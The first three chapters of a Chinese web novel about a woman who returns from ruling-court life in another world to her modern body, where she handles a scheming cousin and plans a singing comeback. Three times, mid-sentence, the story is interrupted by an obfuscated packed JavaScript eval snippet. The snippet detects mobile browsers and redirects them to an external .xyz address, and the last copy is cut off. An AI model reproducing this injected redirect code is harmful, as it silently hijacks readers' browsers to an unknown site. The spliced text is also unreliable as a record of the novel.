《是女帝权臣,也是歌后》 1. 第 1 章 “妈妈给我取这个名字,是希望我的一生能够平安顺遂。每个人念起我的名字,都像是在祝福我。” “……希望你能平安。” 念出的姓名变的模糊,意识像放风筝一样逐渐远离迅速衰弱下去的躯体,病榻旁哭泣的青年已经看不见踪影。 再次睁开眼,赵汝安的左手边是巨大的落地窗,躺在病床上就能够俯瞰私立医院背后供人散步的花园。悠闲的蚂蚁步行其中,有着用凡躯左右大树的能量,在燕城的黄金地段奢侈地开辟出一片世外桃源。 赵汝安的第一反应是:老天奶,这得多大的工程量,说什么都不能让陛下动心。 不对,她已经辞官退隐了。毕竟要是再不放权,即便没有九族供给顶头上司玩消消乐,但是自己的人头、家里人的人头难免摇摇欲坠。 等等,不会有人暗杀—— “赵小姐,你已经回到你所处的时空。” 系统用带有机械感的女声陈述道,“你现在的思想很危险,容易被这个和平的世界排斥,请配合我一下。” 还没询问怎么配合,转瞬间,过去有关宫廷纷争的记忆仿佛蒙上了一层淡淡的迷雾,褪去了血腥气味,一旦试图回忆像是在看别人的故事,激不起太多切身的情绪。 赵汝安的眼神顿时澄澈不少,不过要想和从前一样当个无忧无虑的傻白甜已是不可能。 赵汝安:“我记得我晕倒前好像是因为……” 系统:“男主展琢把女主容楚宁带回展家,你作为恶毒女配看到两人当众亲嘴怒火攻心。” “有点抽象。”系统评价。 赵汝安则嗤笑:“亲嘴算什么。” 正欲再问后续,交叠的脚步声由远及近。 “安安!”赵母出现在门口,老泪纵横。 赵父跟随其后,由于焦急差点绊倒在妻子身上。 这对老夫妻挤到赵汝安眼皮底下,脸上如出一辙的心痛和怜惜。 如果可以,赵汝安很想和他们分享自己做的“梦”,梦境里她如何活得艰辛又精彩。 只是如今,她注视着父母,像是与这对血脉相连的老人隔开大半生,一时间不知道怎样提起。 系统:“赵小姐,很遗憾,你没有权限。” “这种荒谬的事情,就算说出来也不会有人信。” 因此,赵汝安只是沉默地紧握两个老人的手,满腹心事,欲说还休,直到赵母一句话让她破功。 “安安,等妈妈的公司超过展家的产业,妈妈肯定让保镖把那个展琢绑过来,他的嘴你随便怎么亲都行。”赵母大手一挥,“狠狠亲!亲肿了!” 赵父连连点头:“你千万别做傻事啊,都是爸爸妈妈不好,不然也不会让你受委屈。” 系统很是惊讶:“反正我是接受不了别人亲过的嘴。……不过,令堂令尊的开明也确实让人大开眼界。” 没办法,赵父赵母老来得女,就赵汝安这么一个掌上明珠,向来抱有“我女儿犯事了?溺爱一下”的乐观心态。 他们还不知道昔日的明珠身上发生了怎样的变化,提完展琢再提他带去的小明星,说这个小明星还是知道展琢有未婚妻还学不会及时止损,就要让她好看。 事到如今,赵汝安甚至不太能理解当初那个晕吻的自己,摆摆手:“亲就亲了吧,也没办法收回。” “这个展琢光天化日之下冒犯别的女子,肯定是他的不对,就不要为难容小姐了。” 既然她是恶毒女配,注定不是正牌货,头顶不带点绿意显然说不过去。更何况在以女性为尊的姜朝,知名佞臣赵汝安赵大人明面上有夫侍三千,实则不少男侍有自己的相好,头顶岂止是一点绿意。 赵汝安退隐后遣散后院命他们自谋生计,这些相好把人领走,不仅给赵汝安省下一大笔遣散费,还要热泪盈眶感恩她不因后院男人不守贞操罚以浸猪笼之刑。 赵母赵父面露震惊。 这还是他们一朝坠入爱河、不管三七二十一“咕噜噜”嘴里冒着泡就要沉下去的女儿吗? 与此同时,赵汝安见缝插针跟系统讨价还价。 她非常珍惜当下自由的空气,并且想要过得更爽。 “我要补偿。” 系统走一下PUA宿主的流程:“赵小姐,你之前很少动用大脑、行为比较奇异,主要是因为你是一本绿江文的恶毒女配。现在不仅病给你治好了,智商还提升了不少。” 她语重心长,“灵魂上的提升是最大的财富。” 赵汝安:“你是来纠错的吧?想要我不举报就给我补偿。” “好吧,你可以许三个愿望,只能作用在你自己身上。” 系统很爽快,赵汝安便也不准备狮子大开口为难她,毕竟电子女人也是女人,女人何苦为难女人。 “第一,我要健康的体魄; 第二,我要长盛不衰的财运; 第三,我要继承在姜朝锻炼出来的歌喉。……不过分吧?” 系统没说话,但是很快赵汝安就感觉到久卧的疲乏感一扫而空。她第一反应不是喜悦,而是心想:是不是要少了? “既然你已经因为意外脱离了原本的设定,作为交换,我会定期回访。” 系统接下来的话让赵汝安笃定“果然是要少了”,但追悔莫及也无用,“要求不高,只不过是看看你作为唯一的变量,会给这个世界带来什么样的变化。” 系统丢给她一本书,在眼前形成光屏。这本书翻得飞快,赵汝安却莫名其妙把内容全都记住,并在随后露出一个阴险的笑容。 “简单来说,就是你脱离设定自由了。” ——新的条件让赵汝安产生了兴趣。 很好,她本来不在乎展琢给她的头发染上绿色,但要是能一边赚钱一边膈应他,赵汝安可就不困了。 “我明白了,从强制变成兴趣导向。”她饶有兴致,“不错,你们系统很懂人类心理学。” 系统没有回答,取而代之是一道迫不及待的男声,从门外传来。 “安安,你终于醒——” 赵君豪抢在最前面走进病房,刚准备假惺惺地安慰病怏怏的表妹,在姑姑姑父面前刷一波存在感,便对上赵汝安探究的眼神。 一直以来,赵君豪都把姑姑家的产业当作一块基本收入囊中的猪肉,毕竟赵汝安实在是烂泥扶不上墙,就算扶上墙也是个女人,而他已经在赵家的分公司干得风生水起。 今天为止,他从未被赵汝安拿看猪肉的目光看过,还是块不合格的注水猪肉。 结果一眨眼,赵汝安用亮晶晶的眼神看他。 “表哥!” 她的眼眶很快蓄满泪水,却没有露出赵君豪希望看见的病色,精力充沛到像一条直接跳跃到砧板上的鱼。 “表妹。” 赵汝安冲他伸出手,像遇到救命稻草:“表哥,展琢他不给我面子!明明、明明是展家的家宴……他却当着所有长辈的面说我不是他的未婚妻!” 知道赵汝安有大婆瘾,最终还是要对展家大少死缠烂打,怎么样都不可能放弃,赵君豪内心嗤之以鼻。 他在床边坐下,表面苦口婆心:“安安啊,我已经听说了。展先生确实不地道,不应该当众驳了你的面子。” 目前为止还算正常,接下来赵君豪话锋一转:“但你好不容易获得了展叔叔和雷阿姨的认可,他们肯定会补偿你。一个小明星而已,你难道要放弃展先生吗?” 日后她嫁进展家,对赵君豪来说百利而无一害。既能拿到赵家的产业,还能借着表妹高嫁的婚姻再拿一笔不菲的奖励,简直美滋滋。 结果赵汝安翻了个身,直接踹到他的后背上。 力道之恐怖,就好像被踢的不是他的背,而是只在她脚下服服帖帖的足球。 赵君豪的身体随之前倾,屁股一歪,一口老血差点顺着喉咙喷涌而出。 他以为自己是拿着菜刀的商贩,却被跳上来的鱼迎面甩了一个巴掌。 紧接着,海豚音划过赵君豪的耳朵。 “啊——”病床上的人受了刺激,左右翻滚起来,恨不得来一套酣畅淋漓的breaking,“妈妈!爸爸!表哥说我除了展琢没人要!” 果然不是真的不在意了,这么久的感情岂是说消失就消失的。赵母如是想着,心疼地绕过地上龇牙咧嘴的侄子,握住女儿四处乱划的手。 赵父剜了一眼赵君豪,让他找个地方呆着去,紧张地候在床边。 在赵母的安抚下,赵汝安渐渐平静下来。 赵君豪眼睁睁看着自己变的无人问津,咬紧牙关。 从前赵汝安只是傻,以为他是向着她本人的好哥哥,没想到一觉醒来这么疯。 但在赵母庞大的产业面前,赵君豪必须当一个高情商的可心人,坚持不懈坐在床边:“表妹,我向你道——” “你下去。” 赵汝安这次没直接蹬上去,只是对虚空动了一脚,还在抽噎,“表哥,你身上脏。” 赵君豪尴尬起身。 没人注意到他,他这辈子没这么手足无措 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459955|169714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,原地徘徊很久都没人对话,只能悻悻地打了声招呼说要先走。赵母忙着哄赵汝安没有回答,赵父做了个赶紧走的手势,一看就是打发人。 这个赵汝安吃错了什么药! 出了病房,赵君豪一拳砸到墙面上,却也只能咽下这口气。 病房内,赵汝安擤着鼻涕,眼睛和鼻尖都是红红的。 她本就是容易显得纤细纯真的清丽长相,加上一点长辈喜爱的福相,抱着赵母的胳膊时像个让人心脏融化的福娃。 “哭什么,我们安安现在特别健康。” 赵汝安撒娇:“哭我们一家终于团聚了。” 幸好没有权限,否则她觉得二老恐怕要哭瞎眼睛。 “福娃”状似无意地低语:“妈妈,你们应该没有提前通知舅舅家吧?表哥一个人过来,好积极。”赵汝安小心翼翼道,“我刚刚不小心踢了表哥一脚,要不要跟舅舅道歉啊。” 如果她记得不错,这位表哥相当看不起他的亲生父母,恨不得直接变成她的亲哥哥。 毕竟赵君豪的父亲当初仗着是长子拿走了赵家百分之九十的产业,经营不善险些付之一炬。反倒是妈妈把分公司经营得很好,还拓展出了其他产业链,和爸爸强强联合。 要是舅舅知道亲儿子一个人屁颠颠前来讨好,这个既无能、又薄情的小家庭肯定会闹上一阵。 “不用,是他弄脏了我们安安的病床。” 赵父不悦道:“一上来就坐在异性的床边,我看他那些乱搞男女关系的传闻每一条都是真的。” “我还是想给舅舅打个电话,给舅舅舅妈报平安。” 赵汝安捏着洁白的被子边缘,整个人显得更加脆弱乖巧。这种气质要么是小白花,要么是小白花的反义词——“心机女”,总之不是什么好事。 不过,她对组成自己的一切非常满意。 赵汝安笑得天真烂漫,没有任何坏心眼:“我要告诉他们我现在很好,表哥刚刚也已经回家了,一次报两个人的平安。他们一定非常担心我,就像担心表哥一样。” “好。我们安安心善。” 赵母找出她的手机,递给病床上静静坐着的女孩。 不知道是不是错觉,赵母总觉得这个泡在蜜罐里长大的独女有些不一样。如果说以前的赵汝安是本敞开的书,她一看就知道这个单纯的小脑袋瓜在想什么,现在这本书似乎隐藏了不少黏合起来的纸张。 “舅舅,是我。安安。” “表哥回家了吗?……啊,表哥刚刚才来看过我。要是舅舅和舅妈在就好了,肯定不会像表哥一样让我难过。” 对话挑不出任何问题,毕竟曾经的赵汝安很少使用大脑思考,头发的浓密程度和脑袋的光滑程度成正比,经常把别人蕴含着小心思的小动作说出来,自己还乐呵呵的,以为是万千宠爱在身的小公主。 挂断电话,赵汝安扬起笑容:“妈妈,舅舅也很高兴,说要送我礼物。我说了不要。” “亲情最重要。”赵母摸摸她的头,“不过要是实在很漂亮,安安就拿着吧。” 她忽然提起另一件事,“安安,爸爸妈妈以后的产业肯定都是你的,谁都夺不走。” 赵汝安一听,鼓起脸:“妈妈!你和爸爸肯定还能活很久很久。” “傻安安,又不是只有爸爸妈妈不在了你才能继承。” 病房内暖融融的。赵汝安已经很久没有体会过父母健在的幸福,要不是赵父赵母还有工作要忙,她也不是以前那个随心所欲的她,赵汝安很想和他们多待一会儿。 临行前,赵汝安不自觉叫出了声。 “妈妈。” “怎么了?” “我回来了,但是还有很多孩子没有回来。”她说,“我想把我的零花钱捐给寻亲网站。妈妈能帮我吗?” “当然可以。” 病房里只剩下赵汝安一个人。 系统赞叹:“好演技,我甘拜下风。” “你竟然还在啊。”赵汝安忙着登入大眼账号,“还进修表演学啊,厉害。” 系统:“所以,你接下来准备怎么做?” “距离男主角参加选秀综艺不还有一段时间吗。”赵汝安笑眯眯地阴阳怪气,“我现在这个口碑,到时候肯定会落入下风。” 指腹抚过屏幕,净化过的评论区依旧充斥简短有力的批评,比如“舔狗必须死”“又唱劈了哒解”“回家吧,你比较适合做一头猪”,看不过来的私信就恶毒多了。 “得先开场演唱会挽救一下风评。” 2. 第 2 章 “开演唱会?” 赵母皱眉,“安安,你才刚醒。演唱会的事等你休养好身体再考虑。” “妈妈,我现在身体可健康了,能做十个侧手翻。”赵汝安抱着她的胳膊撒娇,“你要是不相信,可以跟朱医生交流一下,她的话你总相信吧?” 赵母缓缓起身,仍有些担心:“不是妈妈不答应你……” “去吧去吧,问就知道了。”赵汝安笑着,伸手轻轻推她的后背,“瑛瑛说好要来看我,等一下就来。就算是为了让我们说两句话,妈妈先去跟朱医生说两句话做个示范,好不好?” 赵母无奈地搭上她的肩膀:“等瑛瑛走,你先给妈妈发消息,妈妈再回来。” “好——” 赵母在赵汝安面前从来耳根子软,所以赵家才会在在原著中被赵汝安用一己之力拖垮,再被展家用上位者对下位者的怜悯收入囊中。 为了赵汝安,赵母赵父从来全力以赴,自然舍得下血本抵抗注定战胜不了的敌人,很合情合理。 她一走,赵汝安忍不住摸上脖颈。 刚才,她好像情不自禁夹起来了。 “赵软软!” 赵汝安抬头,眉眼弯弯:“祁瑛瑛。” 作为恶毒女配的跟班,原著里祁令瑛的台词几乎都是在附和,不存在个性化的描述,定位非常清晰:一个不重要的炮灰。 “容楚宁,你抢我的未婚夫,还好意思装可怜?你就不是能装可怜的样子!” “就是!妖艳贱货!” “我才没有陷害她!展琢,你怎么能信她不信我?” “超绝渣男啊!” 虽然祁家没有和赵家一起打包送给展家,但后来祁令瑛彻底失去继承权,被养兄祁令槐终生管束,再无音讯。 祁令瑛并不是容易对人恶言相向的个性,就凭和她这么多年的交情,赵汝安觉得自己不能做个令她口吐“贱货”的坏女人。 “看看我给你带了什么!” 在赵汝安慈爱的眼神中,祁令瑛将大包小包放下,开始给赵汝安介绍。这个是香奶奶家新出的漂亮成衣,那个是格芙拉的春季系列,还有河马仕的最新款包包,立志让赵汝安刚醒来就接受时尚界的第一手消息。 属于是赵汝安想吃菜,她就转桌;赵汝安想喝水解渴,她反手一瓶香水说“试试这个”。 看见她单纯的容颜,赵汝安宛如看到自己的来时路,坏还没完全坏,傻是确实有点傻。 祁令瑛也不是真的傻,介绍完新出的各种奢侈品后掏出精心选购的补品:“我都听说了。软软,别怪我话不好听,但我觉得展琢就是没把你放在眼里。” 她忧郁地微抬头,“最在意的那个人,总是更容易受伤。” “但我没受伤。” 说时迟,那时快。赵汝安骤然起身,顶天立站在病床上。祁令瑛还没反应过来,赵汝安一个利落后空翻跳下床,双脚精准套进拖鞋,然后从病床的另一侧一路侧手翻到她旁边,就像疾行的风车。 风不大,但能把祁令瑛吓到一屁股坐到地上。 刚刚赵母还在的时候,赵汝安就想这么实践,但是考虑到赵母年事已高,她要爱护老母亲的小心脏,于是作罢。 现在她跳起来:“怎么样,是不是特别健康。” 祁令瑛已然瘫软,手指颤抖着指向陌生的闺蜜:“你……你……” 岂止是转了性,赵汝安都变成旋转大风车了。 这才是正常人的反应,而不是轻轻颔首,当着其他大臣的面留下一句“爱卿的表演,尚可”。 即便系统已经抹去了她的大部分感受,在这种经久不息的无形鞭打中,如今祁令瑛的反应确实能让赵汝安产生些许诡异的快感。 对她伸出手,赵汝安放柔声音:“我的其他好朋友们呢?” 祁令瑛颤颤巍巍站起:“我在群里艾特过她们了,应该马上就到。” “软软呢?好紧张。” “我妈说软软恢复得还不错。” “软软——妈妈不要你死——” 赵汝安看向门口新出现的三人,分别是甄家、蒙家和隋家的千金。虽然不是草包,但作为她的跟班多少沾点糊涂。 “甄秀,我没有死。” 她笑眯眯撂下这句话,然后一路侧手翻到三个人面前,站定后捋起飘洒到眼圈的长发,“怎么样?” 营养品悉数掉落在地上。 “有这么震惊吗?”赵汝安绅士地做了个欢迎的手势,重新坐回病床上,“我觉得因为一个吻晕倒更丢人。” 隋昀最先回过神,推一下眼镜架:“可能是激吻。” “噫——展家又不是大学校园。”蒙飞扬非常嫌弃,“展琢他要是真有暴露癖,你再爱就不礼貌了。” “别这样,软软她才刚醒。”甄秀担忧地看向病床上的好友,温柔询问的模样完全看不出就是她脱口而出“妈妈不要你死”,“软软,你是疯了吗?” 赵汝安反问:“你们不觉得,我现在的身体素质很适合开一场盛大的演唱会吗?” “你要开演唱会?”祁令瑛不敢相信自己的耳朵,“你不是说演唱会太累,想把好嗓子留给展哥哥吗?结婚后天天给他唱歌。” 赵汝安捂嘴:“天哪,我竟然有过这么弱智的言论,不愧是我。” 高智的时候很高,低智的时候也能低得一骑绝尘。 “你要是准备开演唱会,我们四个人一个人雇点保镖,再雇点假粉给你。”蒙飞扬皱眉,“你非要跟展琢一样当个戏子,却又忍受不了恶评。” 她的观念正统且封建,这和她的戏曲家继母有关。 作为四个人里最嘴硬心软的那个,蒙飞扬经常口口声声说赵汝安娇气,转过头办事办得比谁都勤,问就是不理解但尊重,其实是最能包容的。 赵汝安将双臂交叠在胸前,优雅道:“不用你大出血,我就是要直面恶评。” 蒙飞扬:“你不怕被丢臭鸡蛋?” “不怕。” 她沉默片刻,恼怒道:“……胡闹!” “飞扬,不要这样,我们应该更相信软软一点。” 隋昀:“臭鸡蛋不知道,喝倒彩肯定会有,比如‘赵汝安滚出歌坛’‘赵汝安唱歌好难听’……” “也没有那么难听吧。”赵汝安挠了一下脸颊,“现场发挥比较差而已。” 原来的她因为展琢酗酒吸烟,就算嗓子条件很好,也经不起这么折腾。 “重点是这个吗?” 赵汝安笑容不改:“我的意思是,这次我会认真发挥。你们要是有空,到时候务必来看看我的蜕变。” 她顿了顿,“保证你们看到我这张脸,不会再联想到一个晕吻的中二小傻瓜。” 四个人接连离开病房,不代表她们的联系就此终止。 —Flower5— 【Jade_Qi】你真的转性了?不想展琢了? 【ruan】最近都不想见到男人了:) 【Flysheeeep】等着臭鸡蛋吧 【Flysheeeep】到时候别回来哭 【ruan】才不会^^ 【Cloud】但是你为什么要侧手翻?真的很吓人 【Jade_Qi】她还会后空翻呢,当时就应该录下来给你们看 【ruan】想逗你们开心^^ 群里瞬间变的寂静,好像不习惯赵汝安突然如此懂事。 她放下手机,不等候回信。 能跟她们交朋友,原本的赵汝安本性说不上坏,甚至有不少稚嫩的闪光点。然而家人娇宠太过,对展琢的执念太重,都导致她最后变的面目全非。 赵汝安并不回避自己坠入深渊的可能性,但是现在的她绝不可能让包括自己在内的这群人收获badending。 按照约定,赵汝安给赵母发消息。赵母在信息里道了歉,说自己因为工作原因暂时离开医院,但是态度显然软化,只是嘱托赵汝安最近做个全身检查。 【妈咪】朱医生说你的身体很棒,但是妈妈还是担心你 【妈咪】确定没问题的话妈妈肯定遵守承诺放你去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459956|169714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,随便开几场 【ruan】保证完成任务[玫瑰] 第二天,赵君豪再次找来,不过是为了兴师问罪。 赵汝安一通电话,害他被母亲辱骂,父亲殴打。母亲刺耳的“你想做赵静之的儿子就滚出这个家”仍然回旋在耳边,父亲更是把鸡毛掸子打折了,指着他的鼻子破口大骂“贱人”。 赵汝安这样的货色,就应该和他的父母相配。 赵君豪摸一把脸上的淤青,龇牙咧嘴走进病房。 见只有她一人,赵君豪冷笑:“好表妹,你真是把我害苦了。” 赵汝安不语,背对着他把裙子上不小心夹出来的皱褶抚平。 “你哪里苦了?” 赵君豪没想到她会淡淡地反问,警钟顿时连敲数下——难道她晕倒了一回,脑袋也突变回去了? 这可不行!他才是赵静之和汤成郡的义子兼合法继承人! 却见赵汝安转过身,冷哼一声叉腰。 “我才苦呢!爸爸妈妈说好要接我出院,结果临时变卦要我‘等一等’……明明早就说好了!”她娇纵地朝床脚踢了一下,开始扒拉手指头清点人数,“瑛瑛和飞扬要参加晚宴,甄秀去法国了,隋昀在实验室闭关。一个个存心丢下我!” 多年养成的奉承习惯让赵君豪下意识当起狗腿子:“安安,这不是还有表哥吗?咱们不伤心——” 意识到刚刚脱口而出了什么,赵君豪脸色一变,迎上赵汝安疑惑的眼神。 “表哥,你的脸怎么回事?”她以迅雷不及掩耳之势伸手按去,分毫没有怜惜地按到赵君豪的脸颊下陷出一个坑洞。 疼痛感令赵君豪“嘶”了一声,像是火烧,后脊惊出一身冷汗。 偏偏赵汝安还满脸的慌乱,让他的满腔怒火发不出来:“怎么回事?表哥,谁打的你?我要打回去!” “我爸。”赵君豪艰难一笑。 赵汝安收起挥舞的拳头,同仇敌忾的热忱瞬间冷却下来,变的冷淡。 “那算了。”她甚至反过来责怪赵君豪给自己出了个难题,“你惹舅舅干什么?舅舅那么厉害,我可帮不了你。” 如此胡搅蛮缠,如此欺软怕硬,赵君豪被气笑了。 “要不是你——” 他刚要宣泄自己对赵汝安说漏嘴的不满,赵汝安冲着他身后高高举起手:“妈妈!” 赵君豪赶紧回头。 眼前空无一人。 “我害怕你打我嘛。”身后是赵汝安委屈到让人窝火的声音,“你明明一点都不苦。你只是挨了一顿打,什么都没变嘛。” 依旧是赵父赵母提携的好亲戚,依旧待在分公司做高管。 到了这个地步,赵君豪再看不出赵汝安有玩弄他的成分,他就白活这么多年了。 看来那道探究的眼神并非错觉,他的好表妹脑子是真的变好使了。他狞笑着:“好啊,赵汝安,你长本事了,竟然敢玩我——” “赵君豪,你在干什么?” 这一次,赵父赵母真的出现在了门口。他们一路匆匆忙忙从公司赶到医院,生怕赶不上赵汝安的动作,没想到正好看见赵君豪狰狞的面孔。 赵汝安立马躲到父母身后,也不说话,只是通过缝隙偷看他。 赵君豪真的慌了,“姑姑,我——” “你不用说了。”赵母道,“今天是安安出院的日子,我不想在今天和小辈闹得太不愉快。” 赵君豪的脸色瞬间变的煞白。 看,喽啰而已。赵汝安移开视线,对他的反应没有丝毫兴趣。 不过是等待爸爸妈妈过程中的消遣罢了。甚至不需要她出手,他就已经被踢出局,毕竟他才是仰人鼻息的那个。 某种程度上,她也是。但她很快就会摆脱这个身份。 坐上黑色迈巴赫,赵汝安靠着赵母的肩膀小憩。 “妈妈,我得先准备一段时间。”她说,“这次不是心血来潮,我会做得很好。” “等这场演唱会结束,不仅仅是你们,所有人都会开始期待‘赵汝安’这个人本身……” 3. 第 3 章 赵汝安签约的畅想音乐是国内top级的唱片公司,为国际市场输出过不少天王歌后,即便在全球都能排得上号。 作为“畅想之耻”的赵汝安,此前经常被讽刺为站着茅坑不拉屎。 话糙理不糙,她决定在风评扭转前低调一点,黑帽子黑口罩黑外套安排到位,颇有偷感地下了保姆车。 今天来公司,主要是为了重新录制以前发行过的歌。至于未曾披露过的新歌,赵汝安先加急整理了几首发给了制作人。 能呈给陛下,再进入太乐坊专门排练歌舞的必然是大雅之乐,什么摇滚乐house舞曲还是太超前了,但赵汝安还是在里面夹带私货,让封建社会的皇帝陛下听到了千年后的R&B以及爵士等等。 只有一直整活,一直有新鲜感,顶头上司才能一直凤颜大悦。 音乐作为少有的可以宣泄情绪、沟通前世今生的途径,赵汝安虽然在刀尖行走,却从未想过把它当作区区拿来谄媚君上的玩意,尽职尽责拓宽大姜朝的艺术疆域。 夸张一点,用陛下的话说,赵汝安一个人就吸干了上下五千年的精华。 Thisistruemusic! 上下五千年还是太夸张了。 如是想着,“叮咚”一声,艺人专用电梯缓缓开启,里面没有人。 小助理亦步亦趋,左右张望,生怕有人偷拍,直到赵汝安乘上电梯才终于放松地舒出一口气。 走进电梯,宛如置身金碧辉煌的宫殿,豪华得让人瞠目结舌。 悠长“星光之路”铺开金色沙滩,各个时期令大众耳熟能详的歌坛领头人以标志性的姿势漫步其上,对应着缓缓向前推进的时间刻度。 既是功勋簿,也是用来打鸡血的地方。 瞳孔微微移动,赵汝安轻笑:“不如叫摇钱树之路好了。” “赵老师,这可不兴说。” 赵汝安轻轻偏头,将小助理的措辞放进唇齿间碾磨:“‘赵老师’……听着怎么这么奇怪呢。薇薇,我可不是教书育人的料。” 耿薇莫名其妙红了脸,索性电梯门悠悠开启,她连忙提步跟上赵汝安。 “赵老师。” “赵老师好。” “赵老师来啦?” 互联网上风雨喧嚣,公司里却还要敬她这个大股东家的独女三分颜面,看见了得恭恭敬敬叫她一声老师。 作为受益人,赵汝安觉得讽刺,所能做的不过是微笑着回应。 这就奇了怪了。工作人员经过赵汝安再汇聚在一起,走过拐角小声议论起来。毕竟这位大小姐往日都是用咖啡点心代替日常礼节,打招呼向来看心情,十分随机,今天竟然如此平和地回应了。 一进门,她对助理颔首,付诸和善的笑容:“下午好,Charlie。” 助理惶恐地起身:“赵老师。” “俞老师还没到?” Charlie接过耿薇递来的咖啡,“赵老师,是您今天来早了。俞老师他——” “往日我确实太喜欢迟到了些。”赵汝安看到熟悉又陌生的录音设施,见猎心喜,忍不住把玩起来,“不过,以后就算我要迟到,俞唐估计也不敢晾着我。” Charlie露出了和耿薇如出一辙的表情:“赵老师,这话您可不能在俞老师面前说。” “哦?什么话不能跟我说?” 一个留着微卷中长发的男人走进,看上去三十五岁上下,不笑的时候非常刻薄。 俞唐是畅想的金牌制作人,可以说很多超级巨星没有他就站不上那条星光之路,这也造就了他恃才傲物的个性。 但俞唐无疑是个非常爱才的人。“赵老师,我在路上看完了你发给我的所有歌。” 他的目的性极强,眼神如鹰隼般锁定眼前的人,“作词编曲的人非常有水平,每一首都有潜质,不过是大爆和小爆的区别。” “你想认识她吗?” 俞唐脸色一变:“竟然全都出自一个人之手吗?” “对,就在你面前。” 论恃才傲物,没一个人比得上赵汝安。 原本的她心思不在音乐上,除了受到展琢打击写了一两首入耳的情歌,其他时间活得非常舒适潇洒,根本没有创作的需求和激情。 直到她被丢到硝烟弥漫的古战场,从军营走向世家的帷帐,再到高堂上距离至高皇权最近的那一席之地。 俞唐皱眉:“你?” 见他不信,赵汝安也不恼,略显冷淡地岔开话题:“先把旧歌录完再说,到时候你就明白了。” 她能唱的最好的地方也不过是录音室了。碍于赵汝安是股东的女儿,俞唐只能暂且压抑下骚动的心。 毕竟那样的才华,要是不能为他所用,必须要及时抹杀于摇篮之中。 赵汝安正在开嗓,带着金属质感的音色从低沉幽邃的峡谷施施然向上攀爬,甚至朝云端伸出手,宛若泉水逆流,轻松到让俞唐禁不住坐直了腰。 “赵汝安的声音什么时候这么稳定了?”俞唐聚精会神的时候喜欢啃咬笔帽,如今自言自语道,“我以为就她那个丝毫不懂得珍惜的折腾劲儿,到今天已经倒嗓了。” 但是,一听便知。赵汝安的声带状态不仅处于健康到不能再健康的巅峰期,而且不知何时发生了某种质变。 看着她在音阶上随意爬上爬下,俞唐忽然开口:“Charlie,你相信她刚才说的话吗?” “……我总觉得赵老师没有撒谎。” 俞唐笑了一下。他不相信助理的眼光会比自己还毒辣。 就算没有一星半点的创作能力,赵汝安刚才小试牛刀足够俞唐多花点心思在她身上。 接下来就是实战环节。 “第一首,你雕琢我的梦。” 能把赵汝安酸掉牙的歌名和歌词,赵汝安却不得不硬着头皮唱下去,毕竟这位被讥讽成“招笑天后”的赵小天后着实没什么代表作。 “雕琢, 是你用手指轻抚过我面颊。 这短暂的温度, 是否下一秒就会蒸发……” “雕琢”二字,经她之口像是一条苦涩弯曲的长河,带着郁结在胸口的爱而不得,百转千回,唱得俞唐的心跟着颤抖,浑身的鸡皮疙瘩跟遇上曼妥思的碳酸饮料,一瞬间都被激发出来。 如此情深意重。又是如此举重若轻。 俞唐不敢相信自己的耳朵,他甚至忘了自己应该及时给予指导。从前他最爱干的事,就是打断沉浸在单恋中的赵汝安,说她刚才唱出口的那句不仅技巧上不过关,里面的感情更是一塌糊涂。 但现在,所有的一切恰到好处,层层递进向最深处—— “……别忘记我, 从这遥远的梦中独自抽身。 毕竟你曾雕琢过我的梦……” 什么是返璞归真?这就是返璞归真。 俞唐的心脏狂跳起来。 一曲毕,就连赵汝安都有点伤感。 伤感在她连“爱过”的痕迹都无处找寻,说要铭记来时路,过去那个乖乖被剧情摆布的“赵汝安”连她自己都很难理解。 反倒是曾经在姜朝的岁月,残酷但真实,真实到极点变成了梦。 而真正雕琢过她的梦境,在她床榻边哭泣不止的人,与其说变成了此世的尘埃,不如说毕生都不会再有任何交集。 摇摇头,赵汝安淡笑抬头:“俞老师,先给你露两手,觉得怎么样?” 俞唐面色红润,细看面颊上出了一层薄薄的汗珠:“岂止是露两手。” 他离开座位,不顾Charlie惊讶的目光直接走近,以近乎狂热的神态直面赵汝安本人,“赵汝安,你一定会火。你不火,我俞唐这辈子都不会再碰这一行。” “借您吉言。” 比起他的热情,赵汝安明显冷漠很多,而这种冷漠来自她对自身实力的清晰认知。 她不需要任何人为她的前程打包票。 俞唐不得不正视她。赵汝安歌声中霸道的感染力,让他体会到了比恋心得不到回应更加深刻的感情。 她的故事很能打动人,并且让人好奇她这个讲故事的人究竟经历了什么。 “你还没有听过另一首歌,俞老师。这是当初你根据我的音域量身打造的歌。”赵汝安不紧不慢道,“这次我会把它唱得很‘响亮’。” 不仅是响亮,当俞唐看到赵汝安一边侧手翻一边用真声顶上高音,再用倒立姿态玩笑般地唱出哨音时,他不禁捂住嘴。 Charlie以为自己中午吃的见手青没炒熟,还在揉眼睛。如果不是幻觉,她怎么会看到赵汝安以极其刁钻的路径一路侧手翻。 精神污染般的场景让Charlie眼前一黑,下意识求助外援。俞老师呢?俞老师不是最讨厌工作时间嬉笑打闹吗? 然而朝旁边看去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 